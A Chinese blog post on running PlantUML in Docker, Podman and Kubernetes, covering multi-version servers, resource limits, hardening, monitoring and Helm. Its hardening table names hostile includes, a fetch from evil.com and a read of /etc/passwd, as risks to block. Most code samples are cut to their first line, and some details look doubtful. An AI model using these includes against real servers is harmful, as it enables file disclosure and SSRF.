PlantUML 容器化部署:Docker / Podman / 多版本隔离
PlantUML 部署方式取决于使用规模。这篇是 CLI / Docker / Podman / Kubernetes / sidecar 的取舍,以及安全加固、性能监控、多版本隔离的实战。
三种最常见的部署形态
形态 A:CLI 一次性渲染
适合 CI、临时任务、个人脚本。
1 | docker run --rm \ |
关键参数:
--rm:渲染完即删容器,不留垃圾-v:把 .puml 目录挂进容器-u $(id -u):$(id -g):容器内用户跟 host 一致,生成的文件权限正确-failfast2:遇到第一个错误就退出(CI 必加,不然渲染 100 个图第 50 个失败还会继续)
形态 B:HTTP server(团队共享)
适合团队 wiki、CI 服务化。
1 | docker run -d \ |
然后:
1 | curl "http://localhost:8080/svg/~1$(cat diagram.puml | base64 -w0 | sed 's/+/-/g;s/\//_/g/')" |
返回 SVG。~1 是 HUFFMAN 编码前缀(plantuml.com 2025 后默认)。
部署到企业内网,把 localhost:8080 换成 plantuml.internal.company.com:8080,Confluence/Jira/Notion 都能配。
形态 C:Kubernetes sidecar(微服务架构里)
1 | # deployment.yaml |
API 服务和 plantuml 部署在同一个 Pod,共享 localhost 网络。好处:
- 不用外部 IP,内网访问安全
- API 服务挂了,plantuml 也跟着重启
- plantuml-server 内存占用低(<500MB),作为 sidecar 完全 OK
多版本隔离
老项目的图用了 PlantUML 老版本特性(!include 在某些图里只 v1.2018 之前支持),新项目用最新特性。两套 server:
1 | # 旧版本 |
业务代码根据需要选不同 endpoint:
1 | def render_puml(puml_text: str, legacy: bool = False) -> bytes: |
Podman(无 root 守护进程)
Docker Desktop 在 macOS/Windows 上需要 daemon,Podman 是 daemonless 替代:
1 | # 启动 |
CI 里用 Podman 的 rootless 容器,跑在非 root 用户下,更安全:
1 | # .github/workflows/diagrams.yml |
:Z 是 SELinux relabel,让 rootless Podman 在 RHEL/CentOS 上能 mount host 目录。
资源限制
PlantUML 单图渲染内存可能爆——尤其是带 !include 多个 stdlib 的复杂图。
1 | docker run -d --name plantuml \ |
K8s:
1 | resources: |
监控 渲染时间超过 5 秒报警——可能哪个图带了 !include http://...(网络 include 卡死整个 server)。
安全加固
| 风险 | 加固 |
|---|---|
!include http://evil.com/leak.puml 拉取恶意文件 |
PLANTUML_SECURITY_PROFILE=strict 关远程 include |
!include file:///etc/passwd 读 host 文件 |
strict 也禁了本地文件读 |
| SSRF / DoS | 加 nginx rate limit,限制单 IP 每秒请求数 |
| Server 暴露公网被滥用 | firewall 只开内网;加 Cloudflare Access 鉴权 |
| 图片含敏感信息被缓存 | 渲染完删除 docker container --rm |
| PlantUML 自身漏洞 | 跟最新 Docker image plantuml/plantuml-server:tomcat 每月 rebuild |
strict profile 完整列表:
1 | docker run -d --name plantuml \ |
DISABLE_INCLUDE=true完全禁 includeLIMIT_SIZE=8192单图最大 8MB 输出
监控
1 | # prometheus.yml scrape config |
PlantUML server 自带 Prometheus endpoint:
1 | curl http://localhost:8080/metrics |
关键指标:
plantuml_request_total:渲染请求数plantuml_render_duration_seconds:渲染耗时(应该 < 1s)plantuml_memory_usage_bytes:内存占用
告警规则:
1 | groups: |
反向代理(Nginx)
1 | # /etc/nginx/conf.d/plantuml.conf |
输入是不可变的(同一 puml text 永远产生同一 SVG)——缓存命中率应该 99%+。
迁移到 Helm(Okteto / Argo CD)
团队大时,手动 kubectl apply 容易出错。Helm chart:
1 | # values.yaml |
1 | helm install plantuml ./plantuml-chart -n plantuml --create-namespace |
生产环境 用 Argo CD 自动同步 Git → cluster,plantuml 配置全部 GitOps 化。
实战踩坑
- Docker mount 权限错:容器内是 root,生成的文件 host 上是 root,普通用户读不了。用
-u $(id -u):$(id -g)。 - PlantUML server 内存泄漏:某些带
!include大文件的图渲染完不释放内存,跑 3 天后 OOM。--memory=1g+ 定期docker restart。 - HTTP server 慢:默认 tomcat 配置单线程,100 并发就排队。改用 Undertow 或加 nginx upstream。
- 网络 include 卡死:开发图用
!include http://...,server 端 fetch 超时。strict profile 直接禁掉,强迫本地 include。 - PlantUML 版本差异:v1.2020 跟 v1.2024 的
!include行为不同。项目锁版本,容器 tag 写死:plantuml/plantuml-server:tomcat-v1.2024.7。
- 标题: PlantUML 容器化部署:Docker / Podman / 多版本隔离
- 作者: puml.online
- 创建于 : 2026-07-30 16:45:00
- 更新于 : 2026-08-14 21:34:29
- 链接: https://puml.online/blog/plantuml-docker-deployment/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。